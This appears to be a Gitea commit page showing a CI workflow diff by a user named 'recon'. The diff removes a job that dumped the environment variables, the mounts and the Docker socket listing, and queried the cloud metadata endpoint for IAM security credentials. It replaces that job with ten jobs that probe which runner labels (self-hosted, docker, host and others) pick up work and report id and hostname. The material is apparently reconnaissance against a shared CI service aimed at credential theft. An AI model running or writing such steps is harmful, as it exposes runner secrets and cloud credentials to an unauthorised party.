multi-label probe
recon / j_ubuntu_latest (push) Waiting to run Details
recon / j_ubuntu_2204 (push) Waiting to run Details
recon / j_ubuntu_2004 (push) Waiting to run Details
recon / j_ubuntu_1804 (push) Waiting to run Details
recon / j_selfhosted (push) Waiting to run Details
recon / j_docker (push) Waiting to run Details
recon / j_linux (push) Waiting to run Details
recon / j_ubuntu (push) Waiting to run Details
recon / j_host (push) Waiting to run Details
recon / j_default (push) Waiting to run Details

This commit is contained in:
recon 2026-10-14 06:16:13 +00:00
parent 7de58aa50b
commit dea1da6464
1 changed files with 29 additions and 15 deletions

View File

@ -3,19 +3,33 @@ on:
push:
workflow_dispatch:
jobs:
r:
j_ubuntu_latest:
runs-on: ubuntu-latest
steps:
- name: info
run: |
echo "=== WHOAMI ==="; id; hostname; uname -a; cat /etc/os-release 2>/dev/null
echo "=== ENV ==="; env | sort
echo "=== MOUNTS ==="; cat /proc/mounts
echo "=== ROOTLS ==="; ls -la /
echo "=== DOCKERSOCK ==="; ls -la /var/run/docker.sock; ls -la /var/run/ 2>&1 | head
echo "=== REPO_MOUNT ==="; ls -la /repo 2>&1 | head
echo "=== OPT_GITEA ==="; ls -la /opt/gitea 2>&1 | head
echo "=== IMDSv1 ==="; curl -s -m 6 http://169.254.169.254/latest/meta-data/ 2>&1
echo "=== IMDSv1_role ==="; curl -s -m 6 http://169.254.169.254/latest/meta-data/iam/security-credentials/ 2>&1
echo "=== IMDSv2 ==="; TOKEN=$(curl -s -m 6 -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600"); echo "tok=${TOKEN:0:16}"; curl -s -m 6 -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/ 2>&1
echo "=== END ==="
steps: [{run: "echo MATCH_ubuntu-latest; id; hostname"}]
j_ubuntu_2204:
runs-on: ubuntu-22.04
steps: [{run: "echo MATCH_ubuntu-22.04; id; hostname"}]
j_ubuntu_2004:
runs-on: ubuntu-20.04
steps: [{run: "echo MATCH_ubuntu-20.04"}]
j_ubuntu_1804:
runs-on: ubuntu-18.04
steps: [{run: "echo MATCH_ubuntu-18.04"}]
j_selfhosted:
runs-on: self-hosted
steps: [{run: "echo MATCH_self-hosted; id"}]
j_docker:
runs-on: docker
steps: [{run: "echo MATCH_docker; id"}]
j_linux:
runs-on: linux
steps: [{run: "echo MATCH_linux; id"}]
j_ubuntu:
runs-on: ubuntu
steps: [{run: "echo MATCH_ubuntu; id"}]
j_host:
runs-on: host
steps: [{run: "echo MATCH_host; id"}]
j_default:
runs-on: default
steps: [{run: "echo MATCH_default; id"}]